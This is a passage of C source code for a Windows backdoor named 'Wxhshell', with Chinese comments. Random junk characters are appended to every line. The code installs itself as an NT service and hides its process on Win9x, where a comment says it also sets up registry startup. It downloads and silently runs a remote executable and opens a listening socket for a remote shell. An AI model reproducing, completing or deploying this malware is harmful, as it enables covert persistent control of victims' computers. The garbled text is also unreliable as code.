ULONG InheritedFromUniqueProcessId; pS8`OBenA
} PROCESS_BASIC_INFORMATION; aNgJm~K0P
L?(m5u~b
PROCNTQSIP NtQueryInformationProcess; wS [k}
1i#U&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M8VsU*aU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /px`FuJI(
R8|FqBs
HANDLE hProcess; Yez
PROCESS_BASIC_INFORMATION pbi; aW#^@||B
]sqp^tQ`e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LAGg(:3f3
if(NULL == hInst ) return 0; 1]aya(
,w,)n^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +$R%Vbd
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _@Y17L.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &D` $YUl@
]_hXg*?
if (!NtQueryInformationProcess) return 0; s5ILl wr
F~3 &@TWi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5IP@_GV|
if(!hProcess) return 0; R+Rb[,m
f|,2u5
;z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T'7x,8&2|
lAAP V
CloseHandle(hProcess); $KmE9Se6,
nz`"f,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8u Z4[
if(hProcess==NULL) return 0; C7!=LiK}
;_1> nXh
HMODULE hMod; o2^?D`Jr
char procName[255]; tp b(.`G
unsigned long cbNeeded; c#pVN](?
gWy2E;"a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [jF\"#A
yjucR
Fl
CloseHandle(hProcess); 9-?kamA
y9Q"3LLic`
if(strstr(procName,"services")) return 1; // 以服务启动 Rp.FG
:LB< z#M
return 0; // 注册表启动 @_?8I_\:
} cKAZWON8;v
j*jq2u
// 主模块 u_S>`I
int StartWxhshell(LPSTR lpCmdLine) \JGRd8S[
{ SFa^$w
SOCKET wsl; I`}x 9t
BOOL val=TRUE; ~wd~57i@
int port=0; R(HW0@R@w
struct sockaddr_in door; :w4I+*]
_ 3>|1RB
if(wscfg.ws_autoins) Install(); dUpOg{I.x
~{s7(^ P
port=atoi(lpCmdLine); I[ I]C9D
zyFbu=d|O:
if(port<=0) port=wscfg.ws_port; eC-nV)]I9
sJYs{Wm
WSADATA data; JOx""R8T5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2@f E!
*!+?%e{;b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0 }aw9g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +luW=j0V
door.sin_family = AF_INET; "O{:jfq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w5}2$r
door.sin_port = htons(port); _:9-x;0H2
"zN]gz=OV>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )IZ~!N|-w
closesocket(wsl); [es-&X07<
return 1; yO09NQ 5u
} s)|l-I
O:G-I$F|
if(listen(wsl,2) == INVALID_SOCKET) { !yX4#J(
closesocket(wsl); pmi`Er
return 1; mH09*
Z
} %D}]Z=gp
Wxhshell(wsl); g,cl|]/\d
WSACleanup(); h3:dO|Z
!Pb39[f
return 0; 'D;'Pr]
dKTUW<C
} p uLQ_MNV
;/-#oW@gQ
// 以NT服务方式启动 `F1 ( v
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;u: }rA)
{ SwPc<Z?P
DWORD status = 0; Xa32p_|5~
DWORD specificError = 0xfffffff; @Y2&v956
]Q\/si&
serviceStatus.dwServiceType = SERVICE_WIN32; ?{I]!gI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YNi3oG]h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H">
}yD
serviceStatus.dwWin32ExitCode = 0; k ihO~<
serviceStatus.dwServiceSpecificExitCode = 0; EJ3R{^
serviceStatus.dwCheckPoint = 0; afa7'l=^i
serviceStatus.dwWaitHint = 0; D>Ph))QI
IT0*~WMZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G#A& Y$
if (hServiceStatusHandle==0) return; H@xIAL
g:nU&-x#R
status = GetLastError(); G|Y9F|.!
if (status!=NO_ERROR) - '5OX/Szq
{ /.aDQ>
serviceStatus.dwCurrentState = SERVICE_STOPPED; &D~70N\L
serviceStatus.dwCheckPoint = 0; ,*@6NK,.
serviceStatus.dwWaitHint = 0; xN#. Pm~
serviceStatus.dwWin32ExitCode = status; B]YY[i
serviceStatus.dwServiceSpecificExitCode = specificError; $?u ^hMU=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i
bwnK?ZA
return; ?(CMm%(8
} 3#Hx^H
@rVBL<!o,
serviceStatus.dwCurrentState = SERVICE_RUNNING; `&yUU2W
serviceStatus.dwCheckPoint = 0; OVm
$
serviceStatus.dwWaitHint = 0;
*u%4]q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4!dN^;Cb
} pB;p\9A*q
jE{2rw$ZJ?
// 处理NT服务事件,比如:启动、停止 l`R/WC
VOID WINAPI NTServiceHandler(DWORD fdwControl) }Ik{tUS$
{ >_$DKY>$`
switch(fdwControl) nn_j"Nu
{ &~7b-foCq
case SERVICE_CONTROL_STOP: A@0%7xm
serviceStatus.dwWin32ExitCode = 0; ^KJIT3J(#
serviceStatus.dwCurrentState = SERVICE_STOPPED; zk@KuBLL
serviceStatus.dwCheckPoint = 0; ]l'W=_XDg
serviceStatus.dwWaitHint = 0; |0mVK`
{ X|7Y|0o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5E/z.5 q
} \5_7!.
return; &@xixbg
case SERVICE_CONTROL_PAUSE: U/oncC5
serviceStatus.dwCurrentState = SERVICE_PAUSED; +`x8[A)-
break; dSb|hA}@
case SERVICE_CONTROL_CONTINUE: [S/]Vk|4
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]64mSB
break; *_z5Pa`A
case SERVICE_CONTROL_INTERROGATE: cFoDR
break; mq?5|`
}; Wb"*9q06
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !#n lWX:~
} p_jDnb#
!ldb_*)h
// 标准应用程序主函数 451r!U1Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1;[\xqJ
{ o~F @1
q@p-)+D;
// 获取操作系统版本 "S43:VH
OsIsNt=GetOsVer(); KFd"JtPg
GetModuleFileName(NULL,ExeFile,MAX_PATH); h&Ehp
Q-%Q7n'c
// 从命令行安装 ^Q]*CU+C
if(strpbrk(lpCmdLine,"iI")) Install(); bO:Ei
78\:{i->ta
// 下载执行文件 (@dh"=Lt\
if(wscfg.ws_downexe) { Qc z7IA
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Poacd;*
WinExec(wscfg.ws_filenam,SW_HIDE); N(@'L43$V
} Dm6}$v'0
tqE LF
if(!OsIsNt) { Dqe/n_Z
// 如果时win9x,隐藏进程并且设置为注册表启动 W$0<a@
HideProc(); fi%u]
StartWxhshell(lpCmdLine); 6v0^'}
} OZ1+` 4 v
else RV|: mI
if(StartFromService()) s!09Pxc
// 以服务方式启动 pAYH"Q6~)I
StartServiceCtrlDispatcher(DispatchTable); dvk?A$
else tqIz$84G
// 普通方式启动 . oUaq|O
StartWxhshell(lpCmdLine); *tjE#TW
2i4FIS|z0
return 0; Xz0jjO,
}